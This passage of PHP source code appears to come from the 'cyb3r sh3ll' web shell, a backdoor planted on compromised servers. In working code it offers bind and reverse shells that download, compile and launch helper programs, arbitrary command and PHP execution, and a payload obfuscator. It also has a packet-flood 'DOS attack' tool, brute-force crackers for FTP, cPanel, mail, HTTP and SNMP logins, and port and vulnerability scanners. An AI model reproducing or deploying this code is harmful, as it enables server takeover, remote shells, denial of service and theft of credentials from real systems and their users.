    ";} + + else + + { + + $w = explode(".",$bc["src"]); + + $ext = $w[count($w)-1]; + + unset($w[count($w)-1]); + + $srcpath = join(".",$w).".".rand(0,999).".".$ext; + + $binpath = $tmpdir.join(".",$w).rand(0,999); + + if ($ext == "pl") {$binpath = $srcpath;} + + @unlink($srcpath); + + $fp = fopen($srcpath,"ab+"); + + if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!
    ";} + + elseif (!$data = cyb3rgetsource($bc["src"])) {echo "Can't download sources!";} + + else + + { + + fwrite($fp,$data,strlen($data)); + + fclose($fp); + + if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);} + + $v[1] = str_replace("%path",$binpath,$v[1]); + + $v[1] = str_replace("%host",$bc["host"],$v[1]); + + $v[1] = str_replace("%port",$bc["port"],$v[1]); + + $v[1] = str_replace("//","/",$v[1]); + + $retbind = myshellexec($v[1]." > /dev/null &"); + + echo "Now script try connect to ".htmlspecialchars($bc["host"]).":".htmlspecialchars($bc["port"])."...
    "; + + } + + } + + } + + if (!empty($dpsubmit)) + + { + + echo "Result of datapipe-running:
    "; + + $v = $dpsrcs[$datapipe["src"]]; + + if (empty($v)) {echo "Unknown file!
    ";} + + elseif (fsockopen(getenv("SERVER_ADDR"),$datapipe["port"],$errno,$errstr,0.1)) {echo "Port alredy in use, select any other!
    ";} + + else + + { + + $srcpath = $tmpdir.$datapipe["src"]; + + $w = explode(".",$datapipe["src"]); + + $ext = $w[count($w)-1]; + + unset($w[count($w)-1]); + + $srcpath = join(".",$w).".".rand(0,999).".".$ext; + + $binpath = $tmpdir.join(".",$w).rand(0,999); + + if ($ext == "pl") {$binpath = $srcpath;} + + @unlink($srcpath); + + $fp = fopen($srcpath,"ab+"); + + if (!$fp) {echo "Can't write sources to \"".$srcpath."\"!
    ";} + + elseif (!$data = cyb3rgetsource($datapipe["src"])) {echo "Can't download sources!";} + + else + + { + + fwrite($fp,$data,strlen($data)); + + fclose($fp); + + if ($ext == "c") {$retgcc = myshellexec("gcc -o ".$binpath." ".$srcpath); @unlink($srcpath);} + + list($datapipe["remotehost"],$datapipe["remoteport"]) = explode(":",$datapipe["remoteaddr"]); + + $v[1] = str_replace("%path",$binpath,$v[1]); + + $v[1] = str_replace("%localport",$datapipe["localport"],$v[1]); + + $v[1] = str_replace("%remotehost",$datapipe["remotehost"],$v[1]); + + $v[1] = str_replace("%remoteport",$datapipe["remoteport"],$v[1]); + + $v[1] = str_replace("//","/",$v[1]); + + $retbind = myshellexec($v[1]." > /dev/null &"); + + sleep(5); + + $sock = fsockopen("localhost",$datapipe["port"],$errno,$errstr,5); + + if (!$sock) {echo "I can't connect to localhost:".$datapipe["localport"]."! I think you should configure your firewall.";} + + else {echo "Running datapipe... ok! Connect to ".getenv("SERVER_ADDR").":".$datapipe["port"].", and you will connected to ".$datapipe["remoteaddr"]."! You should use NetCat©, run \"nc -v ".getenv("SERVER_ADDR")." ".$bind["port"]."\"!
    View datapipe process
    ";} + + } + + echo "
    "; + + } + + } + + ?>Binding port:
    Port: "> Password: ">  
    + +Back connection:
    HOST: "> Port: ">  
    + +Click "Connect" only after open port for it. You should use NetCat©, run "nc -l -n -v -p "!

    + +Datapipe:
    +
    +HOST: "> Local port: ">  
    Note: sources will be downloaded from remote server. + + + + +
    +

    [: Enter Command to Execute: :] + +

     


    +
    Useful Commands
    + + +
    + +
    + + + + + + + + + +   + + + +
    + + Warning. Kernel may be alerted using higher levels
    + +
    + +
    +
    Result of execution this command
    :
    "; + + $olddir = realpath("."); + + @chdir($d); + + $ret = myshellexec($cmd); + + $ret = convert_cyr_string($ret,"d","w"); + + if ($cmd_txt) + + { + + $rows = count(explode("\r\n",$ret))+1; + + if ($rows < 10) {$rows = 10;} + + echo "
    "; + + } + + else {echo $ret."
    ";} + + @chdir($olddir); + + } + + else {echo "Execution command"; if (empty($cmd_txt)) {$cmd_txt = TRUE;}} + + echo "


     Display in text-area 
    "; + +} + +} + +if ($act == "phpcode") +{ + echo " +
    +PHP Code Evaluate -|- +Mass Code Injector -|- +PHP Obfuscator -|- +Web Server Fuzzer +

    "; +} + +if ($act == "eval") + +{ + + if (!empty($eval)) + + { + + echo "Result of execution this PHP-code:
    "; + + $tmp = ob_get_contents(); + + $olddir = realpath("."); + + @chdir($d); + + if ($tmp) + + { + + ob_clean(); + + eval($eval); + + $ret = ob_get_contents(); + + $ret = convert_cyr_string($ret,"d","w"); + + ob_clean(); + + echo $tmp; + + if ($eval_txt) + + { + + $rows = count(explode("\r\n",$ret))+1; + + if ($rows < 10) {$rows = 10;} + + echo "
    "; + + } + + else {echo $ret."
    ";} + + } + + else + + { + + if ($eval_txt) + + { + + echo "
    "; + + } + + else {echo $ret;} + + } + + @chdir($olddir); + + } + + else {echo "Execution PHP-code"; if (empty($eval_txt)) {$eval_txt = TRUE;}} + + echo "


     Display in text-area 
    "; + +} + +if ($act == "proxy") +{ +global $errorbox,$et,$footer,$hcwd; +echo "
    Navigator: $hcwd
    "; +if (!empty($_REQUEST['urL'])){ +$dir=""; +$u=parse_url($_REQUEST['urL']); +$host=$u['host'];$file=(!empty($u['path']))?$u['path']:'/'; +if(substr_count($file,'/')>1)$dir=substr($file,0,(strpos($file,'/'))); +$url=@fsockopen($host, 80, $errno, $errstr, 12); +if(!$url)die("
    $errorbox Can not connect to host!$et$footer"); +fputs($url, "GET /$file HTTP/1.0\r\nAccept-Encoding: text\r\nHost: $host\r\nReferer: $host\r\nUser-Agent: Mozilla/5.0 (compatible; Konqueror/3.1; FreeBSD)\r\n\r\n"); +while(!feof($url)){ +$con = fgets($url); +$con = str_replace("href=mailto","HrEf=mailto",$con); +$con = str_replace("HREF=mailto","HrEf=mailto",$con); +$con = str_replace("href=\"mailto","HrEf=\"mailto",$con); +$con = str_replace("HREF=\"mailto","HrEf=\"mailto",$con); +$con = str_replace("href=\'mailto","HrEf=\"mailto",$con); +$con = str_replace("HREF=\'mailto","HrEf=\"mailto",$con); +$con = str_replace("href=\"http","HrEf=\"".hlinK("seC=px&urL=http"),$con); +$con = str_replace("HREF=\"http","HrEf=\"".hlinK("seC=px&urL=http"),$con); +$con = str_replace("href=\'http","HrEf=\"".hlinK("seC=px&urL=http"),$con); +$con = str_replace("HREF=\'http","HrEf=\"".hlinK("seC=px&urL=http"),$con); +$con = str_replace("href=http","HrEf=".hlinK("seC=px&urL=http"),$con); +$con = str_replace("HREF=http","HrEf=".hlinK("seC=px&urL=http"),$con); +$con = str_replace("href=\"","HrEf=\"".hlinK("seC=px&urL=http://$host/$dir/"),$con); +$con = str_replace("HREF=\"","HrEf=\"".hlinK("seC=px&urL=http://$host/$dir/"),$con); +$con = str_replace("href=\"","HrEf=\'".hlinK("seC=px&urL=http://$host/$dir/"),$con); +$con = str_replace("HREF=\"","HrEf=\'".hlinK("seC=px&urL=http://$host/$dir/"),$con); +$con = str_replace("href=","HrEf=".hlinK("seC=px&urL=http://$host/$dir/"),$con); +$con = str_replace("HREF=","HrEf=".hlinK("seC=px&urL=http://$host/$dir/"),$con); +echo $con; +} +fclose($url); +} +} + + +if ($act == "obfuscate") +{ + if ( isset($_POST['code']) && + $_POST['code'] != '') + { + $encoded = base64_encode(gzdeflate(trim(stripslashes($_POST['code'].' '),''),9)); // high Compression! :P + $encode = ' + +'; + } + else + { + $encode = 'Please Enter your Code! and Click Submit! :)'; + }?> +
    +
    + +
    +

    $data

    "; + + print "cyb3r sh3ll is at its Work now :D ;D! Dont close this window untill you recieve a message
    "; + for($i=0;$i<$times;$i++) + { + $socket = fsockopen("$mode://$IP", $port, $error, $errorString, $timeout); + if($socket) + { + fwrite($socket , $data , $length ); + fclose($socket); + } + } + echo ""; + echo "DOS attack against $mode://$IP:$port completed on ".date("h:i:s A")."
    "; + echo "Total Number of Packets Sent : " . $times . "
    "; + echo "Total Data Sent = ". showsizE($times*$length) . "
    "; + echo "Data per packet = " . showsizE($length) . "
    "; + } + else + { + ?> +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + IP + + +
    + Port + + +
    + Timeout + + +
    + No of times + + +
    + Message (The message Should be long and it will be multiplied with the value after it) + + + + x + + +
    + +
    +
    + +
    + +
    + + + + + +
    +

    + IP servers : +

    + + +
    User ListPassword List
    + +
    + Guess options +   + Cpanel (2082) + + Telnet(23) +
    + Timeout Delay +
    + Bruteforce +
    + Min Bruteforce Length: +
    + Max Bruteforce Length: + +

    +

    +
    +
    + +"; + cpanel_check($target,$pureuser,$firstVal,$connect_timeout); + + while (1) { + for ($i = 0; $i < ($max + 1); $i++) { + if ($A[$i] == -1) { + break; + } + } + $i--; + $incDone = 0; + while (!$incDone) { + for ($j = 0; $j < $numVals; $j++) { + if ($A[$i] == $vals[$j]) { + break; + } + } + if ($j == ($numVals - 1)) { + $A[$i] = $vals[0]; + $i--; + if ($i < 0) { + for ($i = 0; $i < ($max + 1); $i++) { + if ($A[$i] == -1) { + break; + } + } + $A[$i] = $vals[0]; + $A[$i + 1] = -1; + $incDone = 1; + print "Starting " . (strlen($currentVal) + 1) . " Characters Cracking
    "; + } + } else { + $A[$i] = $vals[$j + 1]; + $incDone = 1; + } + } + $i = 0; + $currentVal = ""; + while ($A[$i] != -1) { + $currentVal = $currentVal . $A[$i]; + $i++; + } + cpanel_check($target,$pureuser,$currentVal,$connect_timeout); + //echo $currentVal . "
    "; + if ($currentVal == $realMax) { + return 0; + } + } +} +function getmicrotimev() { + list($usec, $sec) = explode(" ",microtime()); + return ((float)$usec + (float)$sec); +} + +function ftp_check($host,$user,$pass,$timeout) +{ + $ch = curl_init(); + curl_setopt($ch, CURLOPT_URL, "ftp://$host"); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); + curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC); + curl_setopt($ch, CURLOPT_FTPLISTONLY, 1); + curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass"); + curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout); + curl_setopt($ch, CURLOPT_FAILONERROR, 1); + $data = curl_exec($ch); + if ( curl_errno($ch) == 28 ) + { + print " + Error : Connection Timeout + Please Check The Target Hostname .

    ";exit; + } + else if ( curl_errno($ch) == 0 ) + { + print "[~] + Cracking Success With Username "$user\" + and Password \"$pass\"

    "; + } + curl_close($ch); +} +function cpanel_check($host,$user,$pass,$timeout) +{ + global $cpanel_port; + $ch = curl_init(); + //echo "http://$host:".$cpanel_port." $user $pass
    "; + curl_setopt($ch, CURLOPT_URL, "http://$host:" . $cpanel_port); + curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); + curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC); + curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass"); + curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout); + curl_setopt($ch, CURLOPT_FAILONERROR, 1); + $data = curl_exec($ch); + if ( curl_errno($ch) == 28 ) + { + print " + Error : Connection Timeout + Please Check The Target Hostname .

    ";exit; + } + else if ( curl_errno($ch) == 0 ) + { + print "[~] + Cracking Success With Username "$user\" + and Password \"$pass\"

    "; + } + curl_close($ch); +} + +$time_start = getmicrotime(); + +if(isset($submit) && !empty($submit)) +{ + if(empty($users) && empty($pass) ) + { + print "

    Error : Please Check The Users or Password List Entry . . .

    "; exit; } + if(empty($users)){ print "

    Error : Please Check The Users List Entry . . .

    "; exit; } + if(empty($pass) && $_REQUEST['bruteforce']!="true" ){ print "

    Error : Please Check The Password List Entry . . .

    "; exit; }; + $userlist=explode("\n",$users); + $passlist=explode("\n",$pass); + print "[~]# + LETS GAME BEGIN ;) ...

    "; + + if(isset($_POST['connect_timeout'])) + { + $connect_timeout=$_POST['connect_timeout']; + } + + if($cracktype == "ftp") + { + foreach ($userlist as $user) + { + $pureuser = trim($user); + foreach ($passlist as $password ) + { + $purepass = trim($password); + ftp_check($target,$pureuser,$purepass,$connect_timeout); + } + } + } + + if ($cracktype == "cpanel" || $cracktype == "cpanel2") + { + if($cracktype == "cpanel2") + { + $cpanel_port="23"; + } + else + $cpanel_port="2082"; + + foreach ($userlist as $user) + { + $pureuser = trim($user); + print "[~]# + Please put some good password to crack user $pureuser :( ... "; + if($_POST['bruteforce']=="true") + { + echo " bruteforcing .."; + echo "
    "; + brute(); + } + else + { + echo "
    "; + foreach ($passlist as $password ) + { + $purepass = trim($password); + cpanel_check($target,$pureuser,$purepass,$connect_timeout); + } + } + } + $time_end = getmicrotime(); +$time = $time_end - $time_start; + print "[~]# + Cracking Finished. Elapsed time: $time seconds

    "; + } +} + + + +?> + + + + + + + + +
    + +

    + + + + + + + +
    +
    + + +
    +
    +
    + + +
    +
    +
    + + +
    +

    +
    + "; +} +} + +} +closedir($dh); +} +} +?> + + +
    + +Cracking " . htmlspecialchars($hash)."...
    ";flusheR(); +$type=($_REQUEST['type']=='MD5')?'md5':'sha1'; +while(!feof($dictionary)){ +$word=trim(fgets($dictionary)," \n\r"); +if ($hash==strtoupper(($type($word)))){echo "The answer is $word
    ";break;} +} +echo "Done!
    "; +fclose($dictionary); +} +else{ +echo "$errorbox Can not open dictionary.$et"; +} +} +echo "
    Hash cracker:
    Dictionary:
    Hash:
    Type:
    $hcwd
    "; +echo $eval_php_code; +} + +if ($act == "smtp") +{ +global $t,$et,$errorbox,$crack; +if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){ +$target=$_REQUEST['target']; +$type=$_REQUEST['combo']; +$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:""; +$dictionary=fopen($_REQUEST['dictionary'],'r'); +if ($dictionary){ +echo "Cracking ".htmlspecialchars($target)."...
    ";flusheR(); +while(!feof($dictionary)){ +if($type){ +$combo=trim(fgets($dictionary)," \n\r"); +$user=substr($combo,0,strpos($combo,':')); +$pass=substr($combo,strpos($combo,':')+1); +}else{ +$pass=trim(fgets($dictionary)," \n\r"); +} +$smtp=smtplogiN($target,$user,$pass,5); +if($smtp==-1){echo "$errorbox Can not connect to server.$et";break;} else{ +if ($smtp){echo "U: $user P: $pass
    ";if(!$type)break;}} +flusheR(); +} +echo "
    Done
    "; +fclose($dictionary); +} +else{ +echo "$errorbox Can not open dictionary.$et"; +} +}else +{ +echo "
    SMTP cracker:$crack"; +} + +echo "
    SMTP cracker:
    Dictionary:
    Dictionary type:Simple (P)Combo (U:P)
    Username:
    Server:
    "; + + +} + +if ($act == "pop3") +{ + +global $t,$et,$errorbox,$crack; +if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){ +$target=$_REQUEST['target']; +$type=$_REQUEST['combo']; +$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:""; +$dictionary=fopen($_REQUEST['dictionary'],'r'); +if ($dictionary){ +echo "Cracking ".htmlspecialchars($target)."...
    ";flusheR(); +while(!feof($dictionary)){ +if($type){ +$combo=trim(fgets($dictionary)," \n\r"); +$user=substr($combo,0,strpos($combo,':')); +$pass=substr($combo,strpos($combo,':')+1); +}else{ +$pass=trim(fgets($dictionary)," \n\r"); +} +$pop3=pop3logiN($target,$user,$pass); +if($pop3==-1){echo "$errorbox Can not connect to server.$et";break;} else{ +if ($pop3){echo "U: $user P: $pass
    ";if(!$type)break;}} +flusheR(); +} +echo "
    Done
    "; +fclose($dictionary); +} +else{ +echo "$errorbox Can not open dictionary.$et"; +} +}else +{ echo "
    POP3 cracker:$crack
    "; +} +echo "
    POP3 cracker:
    Dictionary:
    Dictionary type:Simple (P)Combo (U:P)
    Username:
    Server:
    "; + +} +if ($act == "ftp") +{ +global $errorbox,$t,$et,$crack; +if (!function_exists("ftp_connect"))echo "$errorbox Server does n`t support FTP functions$et"; +else{ +if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){ +$target=$_REQUEST['target']; +$type=$_REQUEST['combo']; +$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:""; +$dictionary=fopen($_REQUEST['dictionary'],'r'); +if ($dictionary){ +echo "Cracking ".htmlspecialchars($target)."...
    "; +while(!feof($dictionary)){ +if($type){ +$combo=trim(fgets($dictionary)," \n\r"); +$user=substr($combo,0,strpos($combo,':')); +$pass=substr($combo,strpos($combo,':')+1); +}else{ +$pass=trim(fgets($dictionary)," \n\r"); +} +if(!$ftp=ftp_connect($target,21,8)){echo "$errorbox Can not connect to server.$et";break;} +if (@ftp_login($ftp,$user,$pass)){echo "U: $user P: $pass
    ";if(!$type)break;} +ftp_close($ftp); +flusheR(); +} +echo "
    Done
    "; +fclose($dictionary); +} +else{ +echo "$errorbox Can not open dictionary.$et"; +} +} +else +{ +echo "
    FTP cracker:$crack
    "; +} +echo "
    FTP cracker:
    Dictionary:
    Dictionary type:Simple (P)Combo (U:P)
    Username:
    Server:
    "; + +} +} + +if ($act == "imap") +{ +global $t,$et,$errorbox,$crack; +if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){ +$target=$_REQUEST['target']; +$type=$_REQUEST['combo']; +$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:""; +$dictionary=fopen($_REQUEST['dictionary'],'r'); +if ($dictionary){ +echo "Cracking ".htmlspecialchars($target)."...
    ";flusheR(); +while(!feof($dictionary)){ +if($type){ +$combo=trim(fgets($dictionary)," \n\r"); +$user=substr($combo,0,strpos($combo,':')); +$pass=substr($combo,strpos($combo,':')+1); +}else{ +$pass=trim(fgets($dictionary)," \n\r"); +} +$imap=imaplogiN($target,$user,$pass); +if($imap==-1){echo "$errorbox Can not connect to server.$et";break;}else{ +if ($imap){echo "U: $user P: $pass
    ";if(!$type)break;}} +flusheR(); +} +echo "
    Done
    "; +fclose($dictionary); +} +else{ +echo "$errorbox Can not open dictionary.$et"; +} +}else +{ +echo "
    IMAP cracker:$crack
    "; +} +print ('
    IMAP cracker:
    Dictionary:
    Dictionary type:Simple (P)Combo (U:P)
    Username:
    Server:
    '); + +} + +if ($act == "dic") +{ +global $errorbox,$windows,$footer,$t,$et,$hcwd; +if (!empty($_REQUEST['combo'])&&($_REQUEST['combo']==1)) $combo=1 ; else $combo=0; +if (!empty($_REQUEST['range']) && !empty($_REQUEST['output']) && !empty($_REQUEST['min']) && !empty($_REQUEST['max'])){ +$min = $_REQUEST['min']; +$max = $_REQUEST['max']; +if($max<$min)die($errorbox ."Bad input!$et". $footer); +$s =$w=""; +$out = $_REQUEST['output']; +$r = ($_REQUEST['range']=='a' )?'a':'A'; +if ($_REQUEST['range']==0) $r=0; +for($i=0;$i<$min;$i++) $s.=$r; +$dic = fopen($out,'a'); +if(is_nan($r)){ +while(strlen($s)<=$max){ +$w = $s; +if($combo)$w="$w:$w"; +fwrite($dic,$w."\n"); +$s++;} +} +else{ +while(strlen($w)<=$max){ +$w =(string)str_repeat("0",($min - strlen($s))).$s; +if($combo)$w="$w:$w"; +fwrite($dic,$w."\n"); +$s++;} +} +fclose($dic); +echo "Done"; +} +if (!empty($_REQUEST['input']) && !empty($_REQUEST['output'])){ +$input=fopen($_REQUEST['input'],'r'); +if (!$input){ +if ($windows)echo $errorbox. "Unable to read from ".htmlspecialchars($_REQUEST['input']) ."$et
    "; +else{ +$input=explode("\n",shelL("cat $input")); +$output=fopen($_REQUEST['output'],'w'); +if ($output){ +foreach ($input as $in){ +$user = $in; +$user = trim(fgets($in)," \n\r"); +if (!strstr($user,":"))continue; +$user=substr($user,0,(strpos($user,':'))); +if($combo) fwrite($output,$user.":".$user."\n"); else fwrite($output,$user."\n"); +} +fclose($input);fclose($output); +echo "Done"; +} +} +} +else{ +$output=fopen($_REQUEST['output'],'w'); +if ($output){ +while (!feof($input)){ +$user = trim(fgets($input)," \n\r"); +if (!strstr($user,":"))continue; +$user=substr($user,0,(strpos($user,':'))); +if($combo) fwrite($output,$user.":".$user."\n"); else fwrite($output,$user."\n"); +} +fclose($input);fclose($output); +echo "Done"; +} +else echo $errorbox." Unable to write data to ".htmlspecialchars($_REQUEST['input']) ."$et
    "; +} +}elseif (!empty($_REQUEST['url']) && !empty($_REQUEST['output'])){ +$res=downloadiT($_REQUEST['url'],$_REQUEST['output']); +if($combo && $res){ +$file=file($_REQUEST['output']); +$output=fopen($_REQUEST['output'],'w'); +foreach ($file as $v)fwrite($output,"$v:$v\n"); +fclose($output); +} +echo "Done"; +}else{ +$temp=whereistmP(); +echo "
    + + +
    +Wordlist generator: + + + + + + + + + + +
    Range: + +
    Min lenght: + +
    Max lenght: + +
    Output:
    Combo style output
    $hcwd
    +
    +Grab dictionary: + + + + + + + + +
    Grab from:
    Output:
    Combo style output
    $hcwd
    +
    +Download dictionary: + + + +
    URL:
    Output:
    Combo style output
    $hcwd
    +
    +
    ";} +} + +if ($act == "htmlform") +{ +global $errorbox,$footer,$et,$hcwd; +if(!empty($_REQUEST['start'])){ +$url=$_REQUEST['target']; +$uf=$_REQUEST['userf']; +$pf=$_REQUEST['passf']; +$sf=$_REQUEST['submitf']; +$sv=$_REQUEST['submitv']; +$method=$_REQUEST['method']; +$fail=$_REQUEST['fail']; +$dic=$_REQUEST['dictionary']; +$type=$_REQUEST['combo']; +$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:""; +if(!file_exists($dic)) die("$errorbox Can not open dictionary.$et$footer"); +$dictionary=fopen($dic,'r'); +echo "Cracking started...
    "; +while(!feof($dictionary)){ +if($type){ +$combo=trim(fgets($dictionary)," \n\r"); +$user=substr($combo,0,strpos($combo,':')); +$pass=substr($combo,strpos($combo,':')+1); +}else{ +$pass=trim(fgets($dictionary)," \n\r"); +} +$url.="?$uf=$user&$pf=$pass&$sf=$sv"; +$res=check_urL($url,$method,$fail,12); +if (!$res){echo "U: $user P: $pass
    ";flusheR();if(!$type)break;} +flusheR(); +} +fclose($dictionary); +echo "Done!

    "; +} +else echo "
    HTTP Form cracker:
    Dictionary:
    Dictionary type:Simple (P)Combo (U:P)
    Username:$hcwd
    Action Page:
    Method:
    Username field name:
    Password field name:
    Submit name:
    Submit value:
    Fail string:
    "; +} + +if ($act == "basicauth") +{ +global $errorbox,$et,$t,$crack,$hcwd; +if(!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){ +$data=''; +$method=($_REQUEST['method'])?'POST':'GET'; +if(strstr($_REQUEST['target'],'?')){$data=substr($_REQUEST['target'],strpos($_REQUEST['target'],'?')+1);$_REQUEST['target']=substr($_REQUEST['target'],0,strpos($_REQUEST['target'],'?'));} +spliturL($_REQUEST['target'],$host,$page); +$type=$_REQUEST['combo']; +$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:""; +if($method='GET')$page.=$data; +$dictionary=fopen($_REQUEST['dictionary'],'r'); +echo ""; +while(!feof($dictionary)){ +if($type){ +$combo=trim(fgets($dictionary)," \n\r"); +$user=substr($combo,0,strpos($combo,':')); +$pass=substr($combo,strpos($combo,':')+1); +}else{ +$pass=trim(fgets($dictionary)," \n\r"); +} +$so=fsockopen($host,80,$en,$es,5); +if(!$so){echo "$errorbox Can not connect to host$et";break;} +else{ +$packet="$method /$page HTTP/1.0\r\nAccept-Encoding: text\r\nHost: $host\r\nReferer: $host\r\nConnection: Close\r\nAuthorization: Basic ".base64_encode("$user:$pass"); +if($method=='POST')$packet.="Content-Type: application/x-www-form-urlencoded\r\nContent-Length: ".strlen($data); +$packet.="\r\n\r\n"; +$packet.=$data; +fputs($so,$packet); +$res=substr(fgets($so),9,2); +fclose($so); +if($res=='20')echo "U: $user P: $pass
    "; +flusheR(); +} +} +echo "Done!
    "; +}else echo "
    +HTTP Auth cracker:
    Dictionary:
    Dictionary type:Simple (P)Combo (U:P)
    Username:
    Server:
    $hcwd
    "; +} + +if ($act == "snmp") +{ +global $t,$et,$errorbox,$crack,$hcwd; +if (!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){ +$target=$_REQUEST['target']; +$dictionary=fopen($_REQUEST['dictionary'],'r'); +if ($dictionary){ +echo "Cracking ".htmlspecialchars($target)."...
    ";flusheR(); +while(!feof($dictionary)){ +$com=trim(fgets($dictionary)," \n\r"); +$res=snmpchecK($target,$com,2); +if($res)echo "$com
    "; +flusheR(); +} +echo "
    Done
    "; +fclose($dictionary); +} +else{ +echo "$errorbox Can not open dictionary.$et"; +} +} + echo "
    SNMP cracker:$hcwd
    Dictionary:
    Server:
    "; +} + + + +if ($act == "scanner") +{ +global $hcwd; +if (!empty($_SERVER["SERVER_ADDR"])) $host=$_SERVER["SERVER_ADDR"];else $host ="127.0.0.1"; +$udp=(empty($_REQUEST['udp']))?0:1;$tcp=(empty($_REQUEST['tcp']))?0:1; +if (($udp||$tcp) && !empty($_REQUEST['target']) && !empty($_REQUEST['fromport']) && !empty($_REQUEST['toport']) && !empty($_REQUEST['timeout']) && !empty($_REQUEST['portscanner'])){ +$target=$_REQUEST['target'];$from=(int) $_REQUEST['fromport'];$to=(int)$_REQUEST['toport'];$timeout=(int)$_REQUEST['timeout'];$nu = 0; +echo "Port scanning started against ".htmlspecialchars($target).":
    "; +$start=time(); +for($i=$from;$i<=$to;$i++){ +if($tcp){ +if (checkthisporT($target,$i,$timeout)){ +$nu++; +$ser=""; +if(getservbyport($i,"tcp"))$ser="(".getservbyport($i,"tcp").")"; +echo "$nu) $i $ser (Connect) [TCP]
    "; +} +} +if($udp)if(checkthisporT($target,$i,$timeout,1)){$nu++;$ser="";if(getservbyport($i,"udp"))$ser="(".getservbyport($i,"udp").")";echo "$nu) $i $ser [UDP]
    ";} +flusheR(); +} +$time=time()-$start; +echo "Done! ($time seconds)
    "; +} +elseif (!empty($_REQUEST['securityscanner'])){ +echo ""; +$start=time(); +$from=$_REQUEST['from']; +$to=(int)$_REQUEST['to']; +$timeout=(int)$_REQUEST['timeout']; +$f = substr($from,strrpos($from,".")+1); +$from = substr($from,0,strrpos($from,".")); +if(!empty($_REQUEST['httpscanner'])){ +echo "Loading webserver bug list..."; +flusheR(); +$buglist=whereistmP().DIRECTORY_SEPARATOR.namE(); +$dl=@downloadiT('http://www.cirt.net/nikto/UPDATES/1.36/scan_database.db',$buglist); +if($dl){$file=file($buglist);echo "Done! scanning started.

    ";}else echo "Failed!!! scanning started without webserver security testing...

    "; +flusheR(); +}else {$fr=htmlspecialchars($from); echo "Scanning $fr.$f-$fr.$to:

    ";} +for($i=$f;$i<=$to;$i++){ +$output=0; +$ip="$from.$i"; +if(!empty($_REQUEST['nslookup'])){ +$hn=gethostbyaddr($ip); +if($hn!=$ip)echo "$ip [$hn]
    ";} +flusheR(); +if(!empty($_REQUEST['ipscanner'])){ +$port=$_REQUEST['port']; +if(strstr($port,","))$p=explode(",",$port);else $p[0]=$port; +$open=$ser=""; +foreach($p as $po){ +$scan=checkthisporT($ip,$po,$timeout); +if ($scan){ +$ser=""; +if($ser=getservbyport($po,"tcp"))$ser="($ser)"; +$open.=" $po$ser "; +} +} +if($open){echo "$ip) Open ports:$open
    ";$output=1;} +flusheR(); +} +if(!empty($_REQUEST['httpbanner'])){ +$res=get_sw_namE($ip,$timeout); +if($res){ +echo "$ip) Webserver software: "; +if($res==-1)echo "Unknow"; +else echo $res; +echo "
    "; +$output=1; +} +flusheR(); +} +if(!empty($_REQUEST['httpscanner'])){ +if(checkthisporT($ip,80,$timeout) && !empty($file)){ +$admin=array('/admin/','/adm/'); +$users=array('adm','bin','daemon','ftp','guest','listen','lp','mysql','noaccess','nobody','nobody4','nuucp','operator','root','smmsp','smtp','sshd','sys','test','unknown','uucp','web','www'); +$nuke=array('/','/postnuke/','/postnuke/html/','/modules/','/phpBB/','/forum/'); +$cgi=array('/cgi.cgi/','/webcgi/','/cgi-914/','/cgi-915/','/bin/','/cgi/','/mpcgi/','/cgi-bin/','/ows-bin/','/cgi-sys/','/cgi-local/','/htbin/','/cgibin/','/cgis/','/scripts/','/cgi-win/','/fcgi-bin/','/cgi-exe/','/cgi-home/','/cgi-perl/'); +foreach ($file as $v){ +$vuln=array(); +$v=trim($v); +if(!$v || $v{0}=='#')continue; +$v=str_replace('","','^',$v); +$v=str_replace('"','',$v); +$vuln=explode('^',$v); +$page=$cqich=$nukech=$adminch=$userch=$vuln[1]; +if(strstr($page,'@CGIDIRS')) +foreach($cgi as $cg){ +$cqich=str_replace('@CGIDIRS',$cg,$page); +$url="http://$ip$cqich"; +$res=check_urL($url,$vuln[3],$vuln[2],$timeout); +if($res){$output=1;echo "$ip)".$vuln[4]." $url
    ";} +flusheR(); +} +elseif(strstr($page,'@ADMINDIRS')) +foreach ($admin as $cg){ +$adminch=str_replace('@ADMINDIRS',$cg,$page); +$url="http://$ip$adminch"; +$res=check_urL($url,$vuln[3],$vuln[2],$timeout); +if($res){$output=1;echo "$ip)".$vuln[4]." $url
    ";} +flusheR(); +} +elseif(strstr($page,'@USERS')) +foreach ($users as $cg){ +$userch=str_replace('@USERS',$cg,$page); +$url="http://$ip$userch"; +$res=check_urL($url,$vuln[3],$vuln[2],$timeout); +if($res){$output=1;echo "$ip)".$vuln[4]." $url
    ";} +flusheR(); +} +elseif(strstr($page,'@NUKE')) +foreach ($nuke as $cg){ +$nukech=str_replace('@NUKE',$cg,$page); +$url="http://$ip$nukech"; +$res=check_urL($url,$vuln[3],$vuln[2],$timeout); +if($res){$output=1;echo "$ip)".$vuln[4]." $url
    ";} +flusheR(); +} +else{ +$url="http://$ip$page"; +$res=check_urL($url,$vuln[3],$vuln[2],$timeout); +if($res){$output=1;echo "$ip)".$vuln[4]." $url
    ";} +flusheR(); +} +} +} +} +if(!empty($_REQUEST['smtprelay'])){ +if(checkthisporT($ip,25,$timeout)){ +$res=''; +$res=checksmtP($ip,$timeout); +if($res==1){echo "$ip) SMTP relay found.
